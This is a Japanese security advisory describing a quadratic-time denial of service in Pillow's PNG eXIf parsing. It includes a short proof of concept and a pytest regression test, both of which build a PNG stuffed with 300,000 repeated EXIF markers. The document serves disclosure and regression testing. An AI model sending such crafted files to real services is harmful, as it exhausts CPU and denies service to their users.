Pillow: PNG eXIfチャンクが、EXIFデータの解析処理を二次時間で実行する
### 概要
大量の繰り返し6バイトのマーカーを含む大きなeXIfチャンクを持つPNGファイルの場合、PillowのEXIFパーサーが、ミリ秒ではなく数秒のCPU時間を消費します。この処理にかかる時間は、チャンクサイズの二乗に比例して増加するため、通常の小さな写真サイズのファイルでも、顕著な遅延を引き起こす可能性があります。
### 詳細
`src/PIL/Image.py`にある`Exif.load()`関数は、EXIFデータの先頭からマーカーを取り除く処理を行います。
```python
while data and data.startswith(b"Exif\x00\x00"):
data = data[6:]
```
このループは、残りのデータを毎回コピーします。通常、実際のカメラは、このマーカーを一度だけ書き込むため、通常は問題になりません。
`src/PIL/PngImagePlugin.py`にある`chunk_eXIf()`関数は、生のPNG eXIfチャンクを、サイズ制限や内容のチェックなしで、`info["exif"]`に直接格納します。PNGのテキストチャンク(tEXt、zTXt、iTXt)は、`MAX_TEXT_CHUNK`と`MAX_TEXT_MEMORY`によって制限されますが、eXIfチャンクにはそのような制限はありません。
eXIfチャンクが、実際のEXIFデータではなく、繰り返し`Exif\x00\x00`マーカーで埋められている場合、このマーカーを取り除くループは、マーカーごとに一度実行され、毎回大きなバッファをコピーします。これは、典型的な二次時間計算量のバグです。
### 再現手順
このコードは、メモリ上で小さなPNGファイルを生成し、`Image.open().getexif()`の実行時間を計測します。外部ファイルは必要ありません。
```python
import time
from io import BytesIO
from PIL import Image, PngImagePlugin
def chunk(cid, *data):
fp = BytesIO()
PngImagePlugin.putchunk(fp, cid, *data)
return fp.getvalue()
MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")
marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000) # 1.8MB, all markers
data = MAGIC + IHDR + exif_chunk + IDAT + IEND
start = time.time()
with Image.open(BytesIO(data)) as im:
im.getexif()
print("took", time.time() - start, "seconds")
```
固定バージョンでの期待される処理時間: 0.1秒未満。通常の同程度のサイズのファイルと同じです。
現在のコードでの実際の処理時間: 単一の1.8MBのファイルで、約3.5秒から3.7秒かかります。調査の結果、時間が浪費されているのはstripループの中そのものであり、他の場所ではないことが確認されました。また、ファイルサイズ(200KB、600KB、1.2MB、1.8MB)における処理時間の増加率を調べた結果、線形ではなく、ほぼ二次関数的な増加であることがわかりました。
このテストのpytest版は、`pytest-timeout`を使用しており、バグが存在する場合にテストがハングアップするのを防ぎます。テストが失敗すると、`Failed: Timeout (>2.0s) from pytest-timeout`というエラーメッセージが表示されます。
```python
import pytest
from io import BytesIO
from PIL import Image, PngImagePlugin
def chunk(cid, *data):
fp = BytesIO()
PngImagePlugin.putchunk(fp, cid, *data)
return fp.getvalue()
MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")
@pytest.mark.timeout(2)
def test_exif_load_is_not_quadratic():
marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000)
data = MAGIC + IHDR + exif_chunk + IDAT + IEND
with Image.open(BytesIO(data)) as im:
im.getexif()
```
### 影響
- 可用性: 攻撃者が1つのPNGファイルを処理できる場合、リクエストごとに数秒間のCPU時間を消費します。ファイルサイズが大きいほど、影響はさらに大きくなります。なぜなら、処理時間は二次関数的に増加するからです。
- 機密性: なし。
- 整合性: なし。
- これは、`Image.getexif()`、`Image._getexif()`、および`ImageOps.exif_transpose()`を通じて発生します。`exif_transpose()`は、Pillowの公式ドキュメントで、ユーザーの写真の自動回転に推奨されている関数であり、通常の使用状況でも影響を受ける可能性があります。
影響を受けるパッケージ:
- pip (Python) Pillow: 影響を受けるバージョンは11.0.0以上、13.0.0未満。13.0.0で修正済み。